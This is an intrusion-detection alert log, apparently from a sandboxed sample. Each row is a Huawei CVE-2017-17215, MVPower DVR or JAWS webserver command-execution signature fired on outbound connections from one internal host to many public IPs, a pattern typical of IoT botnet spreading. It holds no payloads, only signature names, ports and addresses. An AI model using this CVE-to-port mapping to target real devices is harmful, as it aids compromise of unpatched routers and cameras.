06/10/24-15:38:02.757283	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44434	37215	192.168.2.13	156.248.183.47
06/10/24-15:37:59.831568	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53462	80	192.168.2.13	220.219.206.99
06/10/24-15:38:02.263838	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50566	80	192.168.2.13	23.71.76.230
06/10/24-15:38:02.685061	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51404	37215	192.168.2.13	41.164.51.0
06/10/24-15:38:00.176046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41532	37215	192.168.2.13	197.127.189.142
06/10/24-15:37:59.827151	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51382	80	192.168.2.13	160.158.220.221
06/10/24-15:37:59.934919	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56378	37215	192.168.2.13	156.60.90.199
06/10/24-15:38:00.014911	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38984	37215	192.168.2.13	156.122.137.98
06/10/24-15:38:00.218890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47364	37215	192.168.2.13	156.60.167.234
06/10/24-15:38:00.213967	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58106	37215	192.168.2.13	197.144.113.129
06/10/24-15:38:02.258958	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36798	80	192.168.2.13	217.134.158.53
06/10/24-15:38:02.735960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47608	37215	192.168.2.13	156.1.86.198
06/10/24-15:37:59.989479	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58502	37215	192.168.2.13	197.156.129.89
06/10/24-15:38:00.027008	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42370	37215	192.168.2.13	197.218.185.191
06/10/24-15:38:02.858288	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49962	37215	192.168.2.13	197.135.181.98
06/10/24-15:37:59.923381	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60882	37215	192.168.2.13	41.1.16.245
06/10/24-15:38:00.169848	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55296	37215	192.168.2.13	156.209.45.106
06/10/24-15:38:00.018435	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35452	37215	192.168.2.13	197.116.197.156
06/10/24-15:38:02.216669	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	51386	80	192.168.2.13	75.235.225.30
06/10/24-15:37:59.993727	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53342	37215	192.168.2.13	197.218.247.171
06/10/24-15:38:02.876052	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47002	37215	192.168.2.13	197.80.176.118
06/10/24-15:38:02.804169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41386	37215	192.168.2.13	41.0.102.53
06/10/24-15:38:00.186850	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33396	37215	192.168.2.13	41.55.41.178
06/10/24-15:38:00.217260	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41384	37215	192.168.2.13	156.203.151.228
06/10/24-15:38:02.852405	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34956	37215	192.168.2.13	41.155.99.209
06/10/24-15:38:00.131221	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48102	37215	192.168.2.13	41.41.194.38
06/10/24-15:37:59.815835	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53776	80	192.168.2.13	78.199.201.121
06/10/24-15:38:00.268899	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36416	37215	192.168.2.13	197.63.12.46
06/10/24-15:38:02.727944	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44684	37215	192.168.2.13	41.17.67.8
06/10/24-15:38:02.864253	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47112	37215	192.168.2.13	156.213.216.105
06/10/24-15:37:59.774510	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54128	80	192.168.2.13	115.56.153.54
06/10/24-15:38:02.209224	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39220	80	192.168.2.13	108.217.14.73
06/10/24-15:38:02.667443	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56504	37215	192.168.2.13	197.126.48.116
06/10/24-15:38:00.026295	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43020	37215	192.168.2.13	156.253.209.134
06/10/24-15:38:02.789775	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51240	37215	192.168.2.13	41.86.51.96
06/10/24-15:38:02.844763	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55898	37215	192.168.2.13	197.40.65.61
06/10/24-15:38:00.039203	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46642	37215	192.168.2.13	41.205.70.44
06/10/24-15:38:02.722392	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52368	37215	192.168.2.13	41.222.92.212
06/10/24-15:38:02.158562	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50270	80	192.168.2.13	109.89.84.87
06/10/24-15:38:02.671087	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45274	37215	192.168.2.13	156.196.121.47
06/10/24-15:38:02.842261	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59676	37215	192.168.2.13	197.35.23.215
06/10/24-15:38:02.208033	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	44384	80	192.168.2.13	44.130.63.92
06/10/24-15:37:59.750933	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35674	80	192.168.2.13	151.218.172.48
06/10/24-15:37:59.779104	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	59220	80	192.168.2.13	32.111.100.187
06/10/24-15:37:59.811339	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54380	80	192.168.2.13	167.251.162.140
06/10/24-15:38:00.192522	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48172	37215	192.168.2.13	156.168.245.29
06/10/24-15:38:00.201993	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34464	37215	192.168.2.13	197.63.251.49
06/10/24-15:38:02.094682	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41156	80	192.168.2.13	116.139.9.42
06/10/24-15:38:02.749574	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45224	37215	192.168.2.13	197.93.109.120
06/10/24-15:38:00.160015	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44468	37215	192.168.2.13	156.134.62.117
06/10/24-15:38:00.172951	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57678	37215	192.168.2.13	41.13.119.15
06/10/24-15:38:00.251690	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51740	37215	192.168.2.13	156.89.192.95
06/10/24-15:38:00.036323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50702	37215	192.168.2.13	156.238.163.110
06/10/24-15:38:02.144369	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48144	80	192.168.2.13	124.6.22.152
06/10/24-15:37:59.947535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39894	37215	192.168.2.13	197.56.205.250
06/10/24-15:38:02.139383	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35604	80	192.168.2.13	119.69.66.111
06/10/24-15:38:02.916548	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50156	37215	192.168.2.13	156.113.136.169
06/10/24-15:38:02.184257	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54180	80	192.168.2.13	157.18.104.206
06/10/24-15:38:02.873305	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55624	37215	192.168.2.13	197.190.134.35
06/10/24-15:37:59.758232	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43434	80	192.168.2.13	57.244.132.164
06/10/24-15:37:59.976497	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34932	37215	192.168.2.13	197.9.107.34
06/10/24-15:38:02.511176	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56274	37215	192.168.2.13	41.179.65.119
06/10/24-15:38:02.845835	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58594	37215	192.168.2.13	156.142.47.5
06/10/24-15:38:00.198032	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54544	37215	192.168.2.13	197.181.198.133
06/10/24-15:37:59.852064	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45994	80	192.168.2.13	120.127.248.215
06/10/24-15:38:00.228570	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54124	37215	192.168.2.13	197.100.180.103
06/10/24-15:38:00.274773	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34678	37215	192.168.2.13	41.14.173.139
06/10/24-15:38:02.748143	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48954	37215	192.168.2.13	41.242.83.117
06/10/24-15:37:59.856619	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43560	80	192.168.2.13	24.223.44.225
06/10/24-15:38:00.232831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33494	37215	192.168.2.13	197.159.198.51
06/10/24-15:37:59.986004	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53016	37215	192.168.2.13	156.32.124.85
06/10/24-15:38:02.146535	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36400	80	192.168.2.13	72.99.239.26
06/10/24-15:37:59.840660	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33900	80	192.168.2.13	37.242.196.25
06/10/24-15:38:02.818643	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60054	37215	192.168.2.13	197.80.0.140
06/10/24-15:38:02.662261	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49490	37215	192.168.2.13	197.173.181.199
06/10/24-15:38:02.505632	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42276	37215	192.168.2.13	41.70.83.42
06/10/24-15:38:02.181411	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35638	80	192.168.2.13	105.54.97.51
06/10/24-15:38:02.910934	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47504	37215	192.168.2.13	197.148.228.103
06/10/24-15:38:02.733766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33040	37215	192.168.2.13	197.67.106.155
06/10/24-15:38:00.167791	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59702	37215	192.168.2.13	156.123.237.221
06/10/24-15:37:59.960374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56034	37215	192.168.2.13	41.66.186.65
06/10/24-15:37:59.824955	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	48068	80	192.168.2.13	189.244.26.215
06/10/24-15:38:00.185349	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60220	37215	192.168.2.13	41.94.153.112
06/10/24-15:38:00.009869	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32966	37215	192.168.2.13	41.45.237.96
06/10/24-15:38:02.511832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40166	37215	192.168.2.13	41.124.203.218
06/10/24-15:38:02.710308	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50128	37215	192.168.2.13	41.228.119.118
06/10/24-15:38:02.499468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51642	37215	192.168.2.13	41.186.51.90
06/10/24-15:37:59.946836	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53482	37215	192.168.2.13	156.82.1.213
06/10/24-15:37:59.873252	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52736	80	192.168.2.13	96.171.224.255
06/10/24-15:38:02.718331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51422	37215	192.168.2.13	197.19.66.134
06/10/24-15:38:02.743038	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56570	37215	192.168.2.13	41.43.111.177
06/10/24-15:38:02.809845	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54624	37215	192.168.2.13	41.205.156.248
06/10/24-15:37:59.820455	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48502	80	192.168.2.13	145.193.92.118
06/10/24-15:38:02.209869	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40614	80	192.168.2.13	82.111.112.237
06/10/24-15:38:02.675728	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33814	37215	192.168.2.13	41.205.27.222
06/10/24-15:38:00.180724	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45616	37215	192.168.2.13	41.124.122.69
06/10/24-15:37:59.765229	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	45956	80	192.168.2.13	20.2.48.78
06/10/24-15:38:00.241407	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49198	37215	192.168.2.13	156.178.159.128
06/10/24-15:38:02.783251	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39562	37215	192.168.2.13	156.229.89.182
06/10/24-15:38:02.686166	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42686	37215	192.168.2.13	156.141.138.41
06/10/24-15:38:02.083314	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35834	80	192.168.2.13	75.46.147.180
06/10/24-15:38:02.752803	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57264	37215	192.168.2.13	197.69.40.39
06/10/24-15:38:00.253813	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43078	37215	192.168.2.13	156.243.212.25
06/10/24-15:38:00.256609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32906	37215	192.168.2.13	156.172.0.85
06/10/24-15:38:00.254476	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36058	37215	192.168.2.13	41.214.194.245
06/10/24-15:38:02.249310	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	49594	80	192.168.2.13	153.175.107.60
06/10/24-15:38:02.101239	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60594	80	192.168.2.13	9.187.220.248
06/10/24-15:37:59.922412	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49110	37215	192.168.2.13	156.143.243.166
06/10/24-15:37:59.968821	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45692	37215	192.168.2.13	156.27.221.22
06/10/24-15:37:59.783784	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	39218	80	192.168.2.13	9.203.151.161
06/10/24-15:38:02.770031	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35782	37215	192.168.2.13	41.101.121.169
06/10/24-15:38:02.875172	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45636	37215	192.168.2.13	197.94.37.133
06/10/24-15:38:02.934901	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34102	37215	192.168.2.13	156.104.219.208
06/10/24-15:38:02.787074	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56392	37215	192.168.2.13	156.2.80.141
06/10/24-15:38:00.006377	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45572	37215	192.168.2.13	197.67.118.32
06/10/24-15:38:00.242237	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45198	37215	192.168.2.13	41.188.47.47
06/10/24-15:38:02.512532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34816	37215	192.168.2.13	156.214.52.148
06/10/24-15:38:02.231111	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41688	80	192.168.2.13	161.82.119.218
06/10/24-15:38:00.236295	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45428	37215	192.168.2.13	156.103.207.1
06/10/24-15:38:00.027699	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55096	37215	192.168.2.13	41.59.124.13
06/10/24-15:38:02.224313	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	41524	80	192.168.2.13	80.48.225.205
06/10/24-15:38:02.230506	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42362	80	192.168.2.13	13.177.39.90
06/10/24-15:38:02.817519	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60560	37215	192.168.2.13	197.136.229.6
06/10/24-15:38:02.753767	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32970	37215	192.168.2.13	41.102.226.8
06/10/24-15:38:02.745716	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45604	37215	192.168.2.13	197.100.179.179
06/10/24-15:38:02.823755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39666	37215	192.168.2.13	156.35.194.89
06/10/24-15:38:02.825900	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56588	37215	192.168.2.13	197.48.146.219
06/10/24-15:38:02.096206	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	35516	80	192.168.2.13	118.208.232.79
06/10/24-15:38:00.220635	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34654	37215	192.168.2.13	156.16.252.113
06/10/24-15:38:02.487616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38160	37215	192.168.2.13	156.76.237.97
06/10/24-15:38:02.822383	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44278	37215	192.168.2.13	197.207.208.126
06/10/24-15:37:59.760581	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	35872	80	192.168.2.13	194.55.24.22
06/10/24-15:38:02.767730	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59890	37215	192.168.2.13	197.148.119.5
06/10/24-15:38:02.114191	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	59022	80	192.168.2.13	145.29.230.140
06/10/24-15:38:02.926997	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42424	37215	192.168.2.13	197.184.123.16
06/10/24-15:37:59.786107	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40246	80	192.168.2.13	96.121.230.115
06/10/24-15:38:02.681567	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35328	37215	192.168.2.13	41.9.208.117
06/10/24-15:38:02.847965	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46436	37215	192.168.2.13	156.234.121.196
06/10/24-15:38:02.159854	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	46328	80	192.168.2.13	221.87.106.132
06/10/24-15:37:59.998646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59662	37215	192.168.2.13	197.50.100.135
06/10/24-15:38:02.920636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57886	37215	192.168.2.13	197.184.200.60
06/10/24-15:38:02.764373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43254	37215	192.168.2.13	156.81.150.33
06/10/24-15:38:00.229452	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52390	37215	192.168.2.13	156.192.233.189
06/10/24-15:38:02.835522	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45676	37215	192.168.2.13	156.30.176.173
06/10/24-15:38:00.034890	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34742	37215	192.168.2.13	156.230.39.62
06/10/24-15:38:02.784346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39098	37215	192.168.2.13	156.138.11.171
06/10/24-15:37:59.967169	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36602	37215	192.168.2.13	197.230.194.3
06/10/24-15:37:59.982567	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60620	37215	192.168.2.13	41.144.136.243
06/10/24-15:38:02.682611	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53394	37215	192.168.2.13	156.208.52.212
06/10/24-15:37:59.793177	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	52842	80	192.168.2.13	181.232.47.252
06/10/24-15:38:00.179963	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44542	37215	192.168.2.13	41.167.61.202
06/10/24-15:38:02.919148	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44646	37215	192.168.2.13	197.188.36.80
06/10/24-15:38:02.924570	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57234	37215	192.168.2.13	156.82.178.96
06/10/24-15:38:00.225874	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60486	37215	192.168.2.13	197.25.198.155
06/10/24-15:38:00.038461	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51092	37215	192.168.2.13	197.21.231.68
06/10/24-15:38:00.264605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48610	37215	192.168.2.13	156.7.198.77
06/10/24-15:38:02.088585	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42532	80	192.168.2.13	181.95.234.17
06/10/24-15:38:00.246351	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41150	37215	192.168.2.13	41.234.210.66
06/10/24-15:38:02.805331	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37884	37215	192.168.2.13	156.239.33.211
06/10/24-15:38:02.824797	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49450	37215	192.168.2.13	41.91.3.35
06/10/24-15:37:59.939523	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56768	37215	192.168.2.13	41.92.127.129
06/10/24-15:37:59.940258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49626	37215	192.168.2.13	197.53.161.229
06/10/24-15:37:59.953764	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58684	37215	192.168.2.13	197.252.226.228
06/10/24-15:38:00.204323	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45564	37215	192.168.2.13	41.168.73.24
06/10/24-15:38:00.235344	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51868	37215	192.168.2.13	197.27.124.211
06/10/24-15:38:00.166755	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34632	37215	192.168.2.13	41.79.189.48
06/10/24-15:38:00.272286	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38538	37215	192.168.2.13	41.71.37.130
06/10/24-15:38:02.703161	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45526	37215	192.168.2.13	156.79.220.96
06/10/24-15:38:00.190865	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32862	37215	192.168.2.13	41.237.134.242
06/10/24-15:38:00.250990	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50800	37215	192.168.2.13	197.56.46.223
06/10/24-15:38:02.773931	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60466	37215	192.168.2.13	156.151.233.250
06/10/24-15:38:02.867036	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52678	37215	192.168.2.13	197.121.202.25
06/10/24-15:38:02.766582	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52936	37215	192.168.2.13	197.122.248.88
06/10/24-15:37:59.928827	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45682	37215	192.168.2.13	41.117.101.224
06/10/24-15:38:02.729371	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60038	37215	192.168.2.13	41.46.72.248
06/10/24-15:38:02.707896	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52190	37215	192.168.2.13	156.122.95.109
06/10/24-15:38:02.854671	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60760	37215	192.168.2.13	41.101.217.26
06/10/24-15:38:02.185065	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34914	80	192.168.2.13	208.149.111.33
06/10/24-15:38:02.705525	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49644	37215	192.168.2.13	41.150.3.195
06/10/24-15:38:02.093773	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48928	80	192.168.2.13	205.225.173.196
06/10/24-15:38:02.698008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42586	37215	192.168.2.13	41.64.38.156
06/10/24-15:38:00.132023	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43292	37215	192.168.2.13	41.102.185.160
06/10/24-15:38:02.758344	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33982	37215	192.168.2.13	197.200.122.252
06/10/24-15:38:02.121056	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34212	80	192.168.2.13	96.74.255.252
06/10/24-15:38:00.249566	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49874	37215	192.168.2.13	156.167.167.199
